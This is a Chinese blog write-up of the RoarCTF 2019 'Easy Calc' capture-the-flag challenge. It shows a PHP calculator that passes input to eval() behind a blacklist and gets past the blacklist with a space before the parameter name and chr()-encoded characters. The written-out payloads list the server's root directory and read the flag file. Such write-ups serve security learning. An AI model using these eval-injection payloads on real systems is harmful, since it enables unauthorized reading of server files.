[RoarCTF 2019]Easy Calc1

文章讲述了如何通过PHP的eval函数绕过Web应用防火墙(WAF)的限制,详细分析了一个calc.php文件的代码,其中涉及错误报告禁用、黑名单过滤以及使用chr函数替代特殊字符来读取文件。作者通过添加空格绕过num参数检查,并利用scandir和file_get_contents函数读取根目录文件及flag文件内容,展示了潜在的安全问题。
摘要由CSDN通过智能技术生成

查看源代码,我们发现有一个calc.php文件

 

 打开是这样的php代码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

过滤了"" '' \

有一个eval函数,能够执行PHP代码

尝试用num传参,发现只能传数字,不能传字母

 

我们可以利用PHP解析字符串特性来绕过waf 

在num前加一个空格,waf检测到的就是" num"而不是"num",但在PHP中会自动转换为$num的变量,绕过waf

我们要读取根目录下的文件

? num=print_r(scandir(/));//scandir()列出目录中的文件和目录

用chr(47)来代替/,chr()从不同的 ASCII 值返回字符。

? num=print_r(scandir(chr(47)));

查看flag文件

file_get_contents() 函数把整个文件读入一个字符串中,由于要字符串形式,但""已经被过滤,因此我们继续用chr()来代替/f1agg

? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 

flag{51514430-17a9-4baa-8b93-df3465401779}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值